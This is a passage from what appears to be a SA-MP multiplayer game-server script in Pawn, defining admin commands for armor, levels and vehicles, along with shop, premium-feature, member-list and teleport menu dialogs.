	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /setarmorall <Distance(FLOAT)> <Amount>");
	   new Float:dis = floatstr(tmp);
	   new lola[150];
	   lola = strtok(cmdtext, idx);
	   if(!strlen(lola)) return SCM(playerid, COL_SYN, "Syntax: /setarmorall <Distance(FLOAT)> <Amount>");
	   new Float:rpam = floatstr(lola);
	   if(rpam > 0.0)
	   {
		  if(dis > 0.0)
		  {
			 new lolstr[200];
			 format(lolstr, 200, "Admin %s has set all players online armour to %.2f.", PINFO[playerid][pName], rpam);
			 for(new i = 0;i < Akharish;i++)
			 {
				if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && ProxDetectorS(dis, playerid, i))
				{
					SetPlayerZereh(i, rpam);
					SCM(i, COLOR_LIGHTRED, lolstr);
				}
			 }
			 format(lolstr, 200, "{FFFFFF}%s has set all players armor to %.2f in %.2f distance.", PINFO[playerid][pName], rpam, dis);
			 AdminWarn(lolstr);
		  }
		  else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
	   }
	   else return SCM(playerid, COLOR_SINA3, "Invalid armor.");
	   return 1;
	}
/*
	if(strcmp(cmd, "/esetarmorall", true) == 0 || strcmp(cmd, "/esetarmourall", true) == 0)
	{
	   if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /esetarmorall <Distance(FLOAT)> <Amount>");
	   new Float:dis = floatstr(tmp);
	   new lola[150];
	   lola = strtok(cmdtext, idx);
	   if(!strlen(lola)) return SCM(playerid, COL_SYN, "Syntax: /esetarmorall <Distance(FLOAT)> <Amount>");
	   new Float:rpam = floatstr(lola);
	   if(rpam > 0.0)
	   {
		  if(dis > 0.0)
		  {
			 new lolstr[200];
			 new lolstr1[200];
			 format(lolstr, 200, "Event organizer %s sets event players armour to %.2f.", PINFO[playerid][pName], rpam);
			 SendClientMessageToAll(COLOR_SINARANG, lolstr);
			 for(new i = 0;i < Akharish;i++)
			 {
				   if(EventPlayer[i] == 1)
				   {
				if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && ProxDetectorS(dis, playerid, i))
				{
					SetPlayerZereh(i, rpam);
					SCM(i, COLOR_LIGHTRED, lolstr);
				}
				   }
			 }
			 format(lolstr1, 200, "{FFFFFF}Event organizer %s has set all players armor to %.2f in %.2f distance.", PINFO[playerid][pName], rpam, dis);
			 AdminWarn(lolstr1);
		  }
		  else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
	   }
	   else return SCM(playerid, COLOR_SINA3, "Invalid armor.");
	   return 1;
	}*/

	if(!strcmp(cmd, "/levelforall", true))
	{
	   if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	   new lola[150];
	   lola = strtok(cmdtext, idx);
	   if(!strlen(lola)) return SCM(playerid, COL_SYN, "Syntax: /levelforall <Amount>");
	   new rpam = strval(lola);
	   if(rpam > 0)
	   {
		  new lolstr[200];
		  format(lolstr, 200, "Admin %s has given %i level(s) to all online players.", PINFO[playerid][pName], rpam);
		  for(new i = 0;i < Akharish;i++)
		  {
			 if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
			 {
				PINFO[i][pLevel] += rpam;
				SaveKonVal(i, "pLevel", PINFO[i][pLevel]);
				SetPlayerScore(i,PlayerInfo[i][pLevel]);
			 }
		  }
		  SendClientMessageToAll(COLOR_LIGHTRED, lolstr);
	   }
	   else return SCM(playerid, COLOR_SINA3, "Invalid level.");
	   return 1;
	}
	if(!strcmp(cmd, "/racd", true))
	{
	   if(PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /racd <Distance(FLOAT)>");
	   new Float:dis = floatstr(tmp);
	   if(dis > 0.0)
	   {
		  new Float:ui[6];
		  GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
		  for(new i = 0; i < MAX_VEHICLES;i++)
		  {
			 if(IsVehicleConnected(i))
			 {
				GetVehiclePos(i, ui[3], ui[4], ui[5]);
				if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
				{
					VehicleTurbo[i] = 0;
					vJump[i] = 0;
					OilInCar[i] = 0;
                    if(VehLinkDare[i] == 1)
                    {
                      VehLinkDare[i] = 0;
                      VehLink[i][0] = '\0';
                    }
					SetVehicleToRespawn(i);
				}
			 }
		  }
		  new lolstr[256];
		  format(lolstr, 256, "{FFFFFF}Admin %s has RAC all vehicles in %.2f distance.", PINFO[playerid][pName], dis);
		  AdminWarn(lolstr);
	  }
	  else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
	  return 1;
	}
	if(!strcmp(cmd, "/afill", true))
	{
	   if(PINFO[playerid][pAdmin] < 6 && PlayerInfo[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /afill <Distance(FLOAT)>");
	   new Float:dis = floatstr(tmp);
	   if(dis > 0.0)
	   {
		  new Float:ui[6];
		  GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
		  for(new i = 0; i < MAX_VEHICLES;i++)
		  {
			 if(IsVehicleConnected(i))
			 {
				GetVehiclePos(i, ui[3], ui[4], ui[5]);
				if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
				{
					Benzin[i] = 100;
				}
			 }
		  }
		  new lolstr[256];
		  format(lolstr, 256, "{FFFFFF}Admin %s has fill all vehicles in %.2f distance.", PINFO[playerid][pName], dis);
		  AdminWarn(lolstr);
	  }
	  else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
	  return 1;
	}
if(!strcmp(cmd, "/dva", true))
		{
			if(PINFO[playerid][pAdmin] < 4 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");

			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /dva <Distance(FLOAT)>");
			new Float:dis = floatstr(tmp);
			if(dis > 0.0)
			{
				new Float:ui[6];
				GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
				for(new i = 0; i < MAX_VEHICLES;i++)
				{
					if(IsVehicleConnected(i))
					{
						GetVehiclePos(i, ui[3], ui[4], ui[5]);
						if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
						{
							for(new a = 0;a<CreatedCar;a++)
							{
								if(CreatedCars[a] != 0 && OwnedMashin[CreatedCars[a]] != 1 && OwnedMashin_2[CreatedCars[a]] != 1 && IsValidAVeh[CreatedCars[a]] == true && i == CreatedCars[a])
								{
									VehOwned[CreatedCars[a]] = 0;
									VehOwner[CreatedCars[a]] = 9999;
									DestroyVehicle(CreatedCars[a]);
									IsValidAVeh[CreatedCars[a]] = false;
									CreatedCars[a] = 0;
									VehicleTurbo[CreatedCars[a]] = 0;
									vJump[CreatedCars[a]] = 0;
                                    if(VehLinkDare[CreatedCars[a]] == 1)
                                    {
                                      VehLinkDare[CreatedCars[a]] = 0;
                                      VehLink[CreatedCars[a]][0] = '\0';
                                    }
								}
							}
						}
					}
				}
				new lolstr[256];
				format(lolstr, 256, "{FFFFFF}Admin %s DVA all vehicles in %.2f distance.", PINFO[playerid][pName], dis);
				AdminWarn(lolstr);
		   }
		   else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
		   return 1;
		}
		/*
		if(!strcmp(cmd, "/edva", true))
		{
			if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");

			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /edva <Distance(FLOAT)>");
			new Float:dis = floatstr(tmp);
			if(dis > 0.0)
			{
				new Float:ui[6];
				GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
				for(new i = 0; i < MAX_VEHICLES;i++)
				{
					if(IsVehicleConnected(i))
					{
					   //if(EventPlayer[i] == 1)
					   //{
						GetVehiclePos(i, ui[3], ui[4], ui[5]);
						if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
						{
							for(new a = 0;a<EventCar;a++)
							{
								if(EventCars[a] != 0 && OwnedMashin[EventCars[a]] != 1 && OwnedMashin_2[EventCars[a]] != 1 && OwnedMashin_3[EventCars[a]] != 1)
								{
									//VehOwned[CreatedCars[a]] = 0;
									//VehOwner[CreatedCars[a]] = 9999;
									DestroyVehicle(EventCars[a]);
									//IsValidAVeh[CreatedCars[a]] = false;
									EventCars[a] = 0;
									VehicleTurbo[EventCars[a]] = 0;
									vJump[EventCars[a]] = 0;
                                    if(VehLinkDare[EventCars[a]] == 1)
                                    {
                                      VehLinkDare[EventCars[a]] = 0;
                                      VehLink[EventCars[a]][0] = '\0';
                                    }
								   }
								}
							//}
						}
					}
				}
				new lolstr[256];
				format(lolstr, 256, "{FFFFFF}Event-Organizer %s DVA all vehicles in %.2f distance.", PINFO[playerid][pName], dis);
				AdminWarn(lolstr);
		   }
		   else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
		   return 1;
		}*/
		if(strcmp(cmd, "/lockengine", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /lockengine <Distance(FLOAT)>");
			new Float:dis = floatstr(tmp);
			if(dis > 0.0)
			{
				new Float:ui[6];
				GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
				for(new i = 0; i < MAX_VEHICLES;i++)
				{
					if(IsVehicleConnected(i))
					{
						GetVehiclePos(i, ui[3], ui[4], ui[5]);
						if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
						{
							LockEngine[i] = true;
						}
					}
				}
				new lolstr[256];
				format(lolstr, 256, "{FFFFFF}Admin %s has locked the engine of the all vehicles in %.2f distance.", PINFO[playerid][pName], dis);
				AdminWarn(lolstr);
		   }
		   else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
		   return 1;
		}
		/*
		if(strcmp(cmd, "/elockengine", true) == 0 || strcmp(cmd, "/elockcars", true) == 0)
		{
			if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /elockengine <Distance(FLOAT)>");
			new Float:dis = floatstr(tmp);
			if(dis > 0.0)
			{
				new Float:ui[6];
				GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
				for(new i = 0; i < MAX_VEHICLES;i++)
				{
				 if(EventPlayer[i] == 1)
				 {
					if(IsVehicleConnected(i))
					{
						GetVehiclePos(i, ui[3], ui[4], ui[5]);
						if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
						{
							LockEngine[i] = true;
						  }
						}
					}
				}
				new lolstr[256];
				format(lolstr, 256, "{FFFFFF}Event organizer %s has locked the engine of the all vehicles in %.2f distance.", PINFO[playerid][pName], dis);
				AdminWarn(lolstr);
		   }
		   else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
		   return 1;
		}
		*/
		if(strcmp(cmd, "/unlockengine", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /unlockengine <Distance(FLOAT)>");
			new Float:dis = floatstr(tmp);
			if(dis > 0.0)
			{
				new Float:ui[6];
				GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
				for(new i = 0; i < MAX_VEHICLES;i++)
				{
					if(IsVehicleConnected(i))
					{
						GetVehiclePos(i, ui[3], ui[4], ui[5]);
						if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
						{
							LockEngine[i] = false;
						}
					}
				}
				new lolstr[256];
				format(lolstr, 256, "{FFFFFF}Admin %s has unlocked the engine of the all vehicles in %.2f distance.", PINFO[playerid][pName], dis);
				AdminWarn(lolstr);
		   }
		   else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
		   return 1;
		}
		/*
		if(strcmp(cmd, "/eunlockengine", true) == 0 || strcmp(cmd, "/eunlockcars", true) == 0)
		{
			if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /eunlockengine <Distance(FLOAT)>");
			new Float:dis = floatstr(tmp);
			if(dis > 0.0)
			{
				new Float:ui[6];
				GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
				for(new i = 0; i < MAX_VEHICLES;i++)
				{
				   if(EventPlayer[i] == 1)
				   {
					if(IsVehicleConnected(i))
					{
						GetVehiclePos(i, ui[3], ui[4], ui[5]);
						if(GetDistanceBetweenPoints(ui[0], ui[1], ui[2], ui[3], ui[4], ui[5]) <= dis)
						{
							LockEngine[i] = false;
						  }
						}
					}
				}
				new lolstr[256];
				format(lolstr, 256, "{FFFFFF}Event organizer %s has unlocked the engine of the all vehicles in %.2f distance.", PINFO[playerid][pName], dis);
				AdminWarn(lolstr);
		   }
		   else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
		   return 1;
		}
		*/
		if(!strcmp(cmd, "/premium", true))
		{
			new asx[130];
			format(asx, sizeof(asx), "13. You can mine up to 0.02 instead of 0.01 %ss in a day.\n\n", GetCoinName());
			new strlol[2400];
			strcat(strlol, "1. You will earn 1 respect point as a prize every 5 paydays.\n\n", 2400);
			strcat(strlol, "2. You will receive %40 paycheck at every payday.\n\n", 2400);
			strcat(strlol, "3. You can buy special vehicles like Infernus\n\n", 2400);
			strcat(strlol, "4. You can use advance /carradio with different channels.\n\n", 2400);
			strcat(strlol, "5. You can have 2 vehicles in the same time.\n\n", 512);
			strcat(strlol, "6. You can toggle the ooc, walkie talkie, news, event, family chat channel.\n\n", 2400);
			strcat(strlol, "7. Your extra respect points will never remove at /buylevel.\n\n", 2400);
			strcat(strlol, "8. You can select hidden colors(id 128~255) with premium account (/colors).\n\n", 2400);
			strcat(strlol, "9. You can get 40 rob point.\n\n", 2400);
			strcat(strlol, "10. You will receive 2-6 (as random) golds at paycheck.\n\n", 2400);
			strcat(strlol, "11. Your illicit points will increase up to 8 instead of 4.\n\n", 2400);
			strcat(strlol, "12. You can attach 6 toys at the same time instead of 3.\n\n", 2400);
			strcat(strlol, asx, 2400);
			strcat(strlol, "For upgrading your account to premium, buy it from /shop", 2400);
			return ShowPlayerDialog(playerid, 8423, DIALOG_STYLE_MSGBOX, "Features of Premium Account", strlol, "Close", "");
		}
		if(!strcmp(cmd, "/members", true))
		{
			if(PINFO[playerid][pLeader] == 0 && PINFO[playerid][pRank] < 6) return SendMessage(playerid, COLOR_YELLOW, "Error: Only leaders can use this command.");
			new mem;
			if(PINFO[playerid][pLeader]) mem = PINFO[playerid][pLeader];
			else mem = PINFO[playerid][pMember];
			new count;
			new lolis[512];
			for(new i = 0; i < Akharish; i++)
			{
				if(IsPlayerConnected(i))
				{
					if(PINFO[i][pMember] == mem)
					{
						count ++;
						if(count == 1)
						{
							format(lolis, 512, "%s(%i)", PINFO[i][pName], i);
						}
						else
						{
							new lolhash[60];
							format(lolhash, 60, "\n%s(%i)", PINFO[i][pName], i);
							strcat(lolis, lolhash, 512);
						}
					}
				}
			}
			if(!count) return SCM(playerid, COLOR_Orang, "There isn't any member online in your faction.");
			ShowPlayerDialog(playerid, 7861, DIALOG_STYLE_LIST, "Members", lolis, "OK", "");
			if(count == 1) return SCM(playerid, COLOR_Orang, "There is 1 member online in your faction.");
			if(count > 1) { format(lolis, 512, "There are %i members online in your faction.", count); return SCM(playerid, COLOR_Orang, lolis); }
			return 1;
		}

		   if(strcmp(cmd, "/cmembers", true) == 0 || strcmp(cmd, "/clanmembers", true) == 0)
		{
			if(PINFO[playerid][pClan] == 0 && PINFO[playerid][pcRank] < 6) return SendMessage(playerid, COLOR_YELLOW, "Only clan leaders can use this command.");

			new mem = PINFO[playerid][pClan];
			new count;
			new lolis[512];
			for(new i = 0; i < Akharish; i++)
			{
				if(IsPlayerConnected(i))
				{
					if(PINFO[i][pClan] == mem)
					{
						count ++;
						if(count == 1)
						{
							format(lolis, 512, "%s(%i)", PINFO[i][pName], i);
						}
						else
						{
							new lolhash[60];
							format(lolhash, 60, "\n%s(%i)", PINFO[i][pName], i);
							strcat(lolis, lolhash, 512);
						}
					}
				}
			}
			if(!count) return SCM(playerid, COLOR_SINA3, "There isn't any member online in your clan.");
			ShowPlayerDialog(playerid, 7861, DIALOG_STYLE_LIST, "Members", lolis, "OK", "");
			if(count == 1) return SCM(playerid, COLOR_SINA3, "There is 1 member online in your clan.");
			if(count > 1) { format(lolis, 512, "There are %i members online in your clan.", count); return SCM(playerid, COLOR_SINA3, lolis); }
			return 1;
		}
		if(CmdLocked[playerid] == true)
		{
		SCM(playerid,COLOR_YELLOW2,"Error: You can't use any command because your commands are locked.");// by Sina
		return 1;
		}
		if(strcmp(cmd, "/carradio", true) == 0 || strcmp(cmd, "/crr", true) == 0)
		{
			if(HeadphoneData[playerid][Sound] == true) return SCM(playerid, COLOR_YELLOW2, "Error: You already had sound in your headphone.");
			//if(PINFO[playerid][pPremiumAccount] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't a premium account.");
			if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You aren't in any vehicle.");
			if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SCM(playerid, COLOR_YELLOW2, "Error: You must be driver of vehicle.");
			tmp = strtok(cmdtext, idx);
				new buyabler[1024];
				format(buyabler,sizeof(buyabler),"Radio \t\nInsert URL \t\nOFF Radio");
				ShowPlayerDialog(playerid,6543,DIALOG_STYLE_LIST,"Radio List:",buyabler,"Select","Cancel");

			return 1;
		}
		if(!strcmp(cmd, "/rep", true))
		{
		 if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		 /*new title[120], tmpstr[180], finalstr[556];
		 format(title, sizeof(title), "%s %s Rep Shop - Rep: %s", SERVER_NAME1,SERVER_NAME2,FormatNumber(PINFO[playerid][pRep]));
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Add 50% Armour - {%s}5 Rep\n", (PINFO[playerid][pRep]<5)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Parachute - {%s}1 Rep\n", (PINFO[playerid][pRep]<1)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Sawnoff Shotgun (500 Ammo) - {%s}12 Rep\n", (PINFO[playerid][pRep]<12)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Fire Extinguisher (500 Ammo) - {%s}5 Rep\n", (PINFO[playerid][pRep]<5)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Katana Sword - {%s}5 Rep\n", (PINFO[playerid][pRep]<5)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}UZI (500 Ammo) - {%s}10 Rep\n", (PINFO[playerid][pRep]<10)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Jetpack - {%s}30 Rep\n", (PINFO[playerid][pRep]<30)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Jammer Of Detective Raders - {%s}15 Rep\n", (PINFO[playerid][pRep]<15)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Add 15 Drugs - {%s}10 Rep\n", (PINFO[playerid][pRep]<10)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Add 500 Materials - {%s}10 Rep\n", (PINFO[playerid][pRep]<10)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Combat Shotgun (300) - {%s}12 Rep\n", (PINFO[playerid][pRep]<12)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Flower - {%s}1 Rep\n", (PINFO[playerid][pRep]<1)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}BoomBox - {%s}100 Rep\n", (PINFO[playerid][pRep]<100)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}200 Buffs - {%s}200 Rep\n", (PINFO[playerid][pRep]<100)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
         ShowPlayerDialog(playerid, 1376, DIALOG_STYLE_LIST, title, finalstr, "Select", "Close");*/
         ShowRepShop(playerid);
		 return 1;
		}

		if(strcmp(cmd, "/locations", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				new locations2[1024];
				format(locations2,sizeof(locations2),"Faction HQs \t\nImportant Locations \t\nBizzes \t\nSpecial Bizzes");
				ShowPlayerDialog(playerid,100,DIALOG_STYLE_LIST,"Locations:",locations2,"Select","Cancel");
			}
			return 1;
		}


/*	if (strcmp("/abbas", cmdtext, true, 10) == 0)
	{
			ShowPlayerDialog(playerid,3333,DIALOG_STYLE_MSGBOX,"{0470FC}GPS","Abbas1\nAbbas2\nAbbas3","OK");
		return 1;
	}
	if(strcmp(cmd, "/locations", true) == 0 || !strcmp(cmd,"/gps",true))
	{
			ShowPlayerDialog(playerid,3333,DIALOG_STYLE_MSGBOX,"{0470FC}GPS","Abbas1\nAbbas2\nAbbas3","OK");
		return 1;
	}*/
//              New /Shop System by Sina
		if(!strcmp(cmd, "/shop", true))
		{
  //                            All Rights /Shop Created by Sina ( Gold Esho Dashte Bashi Sabz Mishe )
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				new title[120], tmpstr[180], finalstr[512];
				format(title, sizeof(title), "%s %s Shop - Golds: %s", SERVER_NAME1,SERVER_NAME2,FormatNumber(PINFO[playerid][pGold]));
          format(tmpstr, sizeof(tmpstr), "{FFFF00}Add Gold\n");
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Premium Account\n");
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Rep Points\n");
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Cash Money\n");
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Clan\n");
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}House Interior\n");
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Hoster\n");
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Clear 10FP - {%s}250 Gold\n", (PINFO[playerid][pGold]<250)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Change Nickname - {%s}600 Gold\n", (PINFO[playerid][pGold]<600)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Clear 1 warn - {%s}400 Gold\n", (PINFO[playerid][pGold]<400)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Change Sex - {%s}600 Gold\n", (PINFO[playerid][pGold]<600)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Unjail - {%s}300 Gold\n", (PINFO[playerid][pGold]<300)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Reset Kilometer\n");
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Custom Skin\n");
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Neon - {%s}%d Gold\n", (PINFO[playerid][pGold]<SBizzInfo[36][sbEntranceCost])?("FF0000"):("33AA33"), SBizzInfo[36][sbEntranceCost]);
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}VIP - {%s}55000 Gold\n", (PINFO[playerid][pGold]<55000)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Color Name - {%s}900 Gold\n", (PINFO[playerid][pGold]<900)?("FF0000"):("33AA33"));
          strcat(finalstr, tmpstr);
          format(tmpstr, sizeof(tmpstr), "{FFFFFF}Colored Plate - {%s}%d Gold\n", (PINFO[playerid][pGold]<SBizzInfo[36][sbEntranceCost])?("FF0000"):("33AA33"), SBizzInfo[36][sbEntranceCost]);
          strcat(finalstr, tmpstr);
          ShowPlayerDialog(playerid, 9090, DIALOG_STYLE_LIST, title, finalstr, "Select", "Close");


			return 1;
		}








		if(!strcmp(cmd, "/gotolist", true))
		{
		if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pHelper] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
  //                            By SiNaGaMeR
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				new shop[2048];
				format(shop,sizeof(shop),"{FF0000}LS\t\n{FF0000}SF\t\n{FF0000}LV\t\n{FF0000}Mark\t\n{FF0000}AirPort LS\t\n{FF0000}CNN\t\n{FF0000}Gun Shop LS\t\n{FF0000}Civilian Spawn\t\n{FF0000}Chilliand\t\n{FF0000}Bank\t\n{FF0000}DS\t\n{FF0000}Temple\t\n{FF0000}Church\t\n{FF0000}Factions HQ\t\n{FF0000}Back");
				new title[256];
				format(title, sizeof(title), "Goto List - Admin Level: %d", PINFO[playerid][pAdmin]);
				ShowPlayerDialog(playerid,9050,DIALOG_STYLE_LIST,title,shop,"Select","Close");
				if(PINFO[playerid][pSponser] == 1)
				{
			format(shop,sizeof(shop),"{33AA33}LS\t\n{33AA33}SF\t\n{33AA33}LV\t\n{33AA33}Mark\t\n{33AA33}AirPort LS\t\n{33AA33}CNN\t\n{33AA33}Gun Shop LS\t\n{33AA33}Civilian Spawn\t\n{33AA33}Chilliand\t\n{33AA33}Bank\t\n{33AA33}DS\t\n{33AA33}Temple\t\n{33AA33}Church\t\n{33AA33}Factions HQ\t\n{33AA33}Back");
				ShowPlayerDialog(playerid,9050,DIALOG_STYLE_LIST,title,shop,"Select","Close");
				}
				if(PINFO[playerid][pAdmin] == 0 && PINFO[playerid][pHelper] >= 1)
				{
			format(shop,sizeof(shop),"{FF0000}LS\t\n{FF0000}SF\t\n{FF0000}LV\t\n{FF0000}Mark\t\n{FF0000}AirPort LS\t\n{FF0000}CNN\t\n{FF0000}Gun Shop LS\t\n{33AA33}Civilian Spawn\t\n{FF0000}Chilliand\t\n{FF0000}Bank\t\n{FF0000}DS\t\n{FF0000}Temple\t\n{FF0000}Church\t\n{FF0000}Factions HQ\t\n{33AA33}Back");
				ShowPlayerDialog(playerid,9050,DIALOG_STYLE_LIST,title,shop,"Select","Close");
				}
				if(PINFO[playerid][pAdmin] >= 1)
				{
			format(shop,sizeof(shop),"{33AA33}LS\t\n{FF0000}SF\t\n{FF0000}LV\t\n{33AA33}Mark\t\n{33AA33}AirPort LS\t\n{33AA33}CNN\t\n{33AA33}Gun Shop LS\t\n{33AA33}Civilian Spawn\t\n{FF0000}Chilliand\t\n{33AA33}Bank\t\n{33AA33}DS\t\n{33AA33}Temple\t\n{33AA33}Church\t\n{33AA33}Factions HQ\t\n{33AA33}Back");
				ShowPlayerDialog(playerid,9050,DIALOG_STYLE_LIST,title,shop,"Select","Close");
				}
				if(PINFO[playerid][pAdmin] >= 2)
				{
